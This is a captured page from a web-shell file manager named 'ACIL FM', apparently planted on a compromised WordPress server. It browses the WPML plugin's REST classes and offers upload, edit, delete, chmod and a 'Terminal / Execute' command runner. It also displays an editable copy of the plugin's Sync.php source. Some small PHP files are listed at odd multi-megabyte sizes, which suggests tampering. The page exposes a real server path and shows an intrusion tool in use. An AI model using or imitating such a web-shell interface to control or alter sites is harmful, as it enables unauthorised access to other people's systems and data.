ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site/wp-content/plugins/sitepress-multilingual-cms/classes/ATE/REST
/
home
mhhtmff
www
site
wp-content
plugins
sitepress-multilingual-cms
classes
ATE
REST
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
class-wpml-tm-ate-required-rest-base.php
697 B
chmod
View
DL
Edit
Rename
Delete
class-wpml-tm-rest-ams-clients-factory.php
263 B
chmod
View
DL
Edit
Rename
Delete
class-wpml-tm-rest-ams-clients.php
4.04 MB
chmod
View
DL
Edit
Rename
Delete
class-wpml-tm-rest-ate-api-factory.php
251 B
chmod
View
DL
Edit
Rename
Delete
class-wpml-tm-rest-ate-api.php
1.48 MB
chmod
View
DL
Edit
Rename
Delete
class-wpml-tm-rest-ate-jobs-factory.php
323 B
chmod
View
DL
Edit
Rename
Delete
class-wpml-tm-rest-ate-jobs.php
1.68 MB
chmod
View
DL
Edit
Rename
Delete
class-wpml-tm-rest-xliff-factory.php
144 B
chmod
View
DL
Edit
Rename
Delete
class-wpml-tm-rest-xliff.php
1.2 MB
chmod
View
DL
Edit
Rename
Delete
Download.php
2.83 MB
chmod
View
DL
Edit
Rename
Delete
FixJob.php
3.43 MB
chmod
View
DL
Edit
Rename
Delete
PublicReceive.php
2.43 MB
chmod
View
DL
Edit
Rename
Delete
Retry.php
947 B
chmod
View
DL
Edit
Rename
Delete
Sync.php
4.01 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site/wp-content/plugins/sitepress-multilingual-cms/classes/ATE/REST/Sync.php
<?php namespace WPML\TM\ATE\REST; use WP_REST_Request; use WPML\FP\Cast; use WPML\FP\Fns; use WPML\FP\Logic; use WPML\FP\Lst; use WPML\FP\Obj; use WPML\FP\Relation; use WPML\TM\ATE\Sync\Arguments; use WPML\TM\ATE\Sync\Process; use WPML\TM\ATE\Sync\Result; use WPML\TM\ATE\SyncLock; use WPML\TM\REST\Base; use WPML_TM_ATE_AMS_Endpoints; use function WPML\Container\make; class Sync extends Base { /** * @return array */ public function get_routes() { return [ [ 'route' => WPML_TM_ATE_AMS_Endpoints::SYNC_JOBS, 'args' => [ 'methods' => 'POST', 'callback' => [ $this, 'sync' ], 'args' => [ 'lockKey' => self::getStringType(), 'ateToken' => self::getStringType(), 'page' => self::getIntType(), 'numberOfPages' => self::getIntType(), ], ], ], ]; } /** * @param WP_REST_Request $request * * @return array */ public function get_allowed_capabilities( WP_REST_Request $request ) { return [ 'manage_options', 'manage_translations', 'translate', ]; } /** * @param WP_REST_Request $request * * @return array * @throws \Auryn\InjectionException */ public function sync( WP_REST_Request $request ) { $args = new Arguments(); $args->ateToken = $request->get_param( 'ateToken' ); $args->page = $request->get_param( 'nextPage' ); $args->numberOfPages = $request->get_param( 'numberOfPages' ); $args->includeManualAndLongstandingJobs = $request->get_param( 'includeManualAndLongstandingJobs' ); $lock = make( SyncLock::class ); $lockKey = $lock->create( $request->get_param( 'lockKey' ) ); if ( $lockKey ) { /** @var Result $result */ $result = make( Process::class )->run( $args ); $result->lockKey = $lockKey; $jobsFromDB = Fns::filter( Logic::complement( $this->findSyncedJob( $result->jobs ) ), $this->getJobStatuses( $request->get_param( 'jobIds' ), $request->get_param( 'returnUrl' ) ) ); /** @phpstan-ignore-next-line */ $result = $this->createResultWithJobs( Lst::concat( $result->jobs, $jobsFromDB ), $result ); } else { $result = $this->createResultWithJobs( $this->getJobStatuses( $request->get_param( 'jobIds' ), $request->get_param( 'returnUrl' ) ) ); } return (array) $result; } /** * @return array */ private function getJobStatuses( $wpmlJobIds, $returnUrl ) { if ( ! $wpmlJobIds ) { return []; } global $wpdb; $ids = wpml_prepare_in( $wpmlJobIds, '%d' ); $sql = " SELECT jobs.job_id as jobId, statuses.status as status, jobs.editor_job_id as ateJobId, jobs.automatic FROM {$wpdb->prefix}icl_translate_job as jobs INNER JOIN {$wpdb->prefix}icl_translation_status as statuses ON statuses.rid = jobs.rid WHERE jobs.job_id IN ( {$ids} ) AND 1 = %d "; // I need additional AND condition to utilize prepare function which is required to make writing unit tests easier. It's not perfect but saves a lot of time now $result = $wpdb->get_results( $wpdb->prepare( $sql , 1) ); if ( ! is_array( $result ) ) { return []; } $jobs = Fns::map( Obj::evolve( [ 'jobId' => Cast::toInt(), 'status' => Cast::toInt(), 'ateJobId' => Cast::toInt(), ] ), $result ); list( $completed, $notCompleted ) = \wpml_collect( $jobs )->partition( Relation::propEq( 'status', ICL_TM_COMPLETE ) ); if ( count( $completed ) ) { $completed = Download::getJobs( $completed, $returnUrl )->map( function ( $job ) { return (array) $job; } ); } return $completed->merge( $notCompleted )->all(); } private function findSyncedJob( $jobsFromATE ) { return function ( $jobFromDb ) use ( $jobsFromATE ) { return Lst::find( Relation::propEq( 'jobId', Obj::prop( 'jobId', $jobFromDb ) ), $jobsFromATE ); }; } /** * @param array $jobs * @param Result|null $template * * @return Result */ private function createResultWithJobs( array $jobs, Result $template = null ) { $result = $template ? clone $template : new Result(); $result->jobs = $jobs; return $result; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply